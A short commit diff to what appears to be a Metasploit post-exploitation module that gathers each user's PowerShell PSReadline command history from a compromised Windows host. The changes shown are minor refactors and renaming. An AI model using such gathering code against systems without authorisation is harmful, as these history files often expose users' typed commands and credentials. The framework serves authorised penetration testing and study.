Minor changes for psreadline_history

modules/post/windows/gather/psreadline_history.rb

@@ -6,12 +6,13 @@
 require 'msf/core/post/windows/user_profiles'
 
 class MetasploitModule < Msf::Post
+
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
 
   def initialize(info={})
     super(update_info(info,
-        'Name' => 'Windows Gather PSReadline history',
+      'Name'        => 'Windows Gather PSReadline History',
       'Description' => %q{
         Gathers Power Shell history data from the target machine.
       },
@@ -31,10 +32,9 @@ class MetasploitModule < Msf::Post
 
   def run
     grab_user_profiles.each do |userprofile|
-      next if userprofile['AppData'] == nil
+      next if userprofile['AppData'].blank?
       history_path = userprofile['AppData'] + "\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt"
-      stat = session.fs.file.stat(history_path) rescue nil
-      next if stat.nil?
+      next unless file?(history_path)
       gather_psreadline_history(userprofile['UserName'], history_path)
     end
   end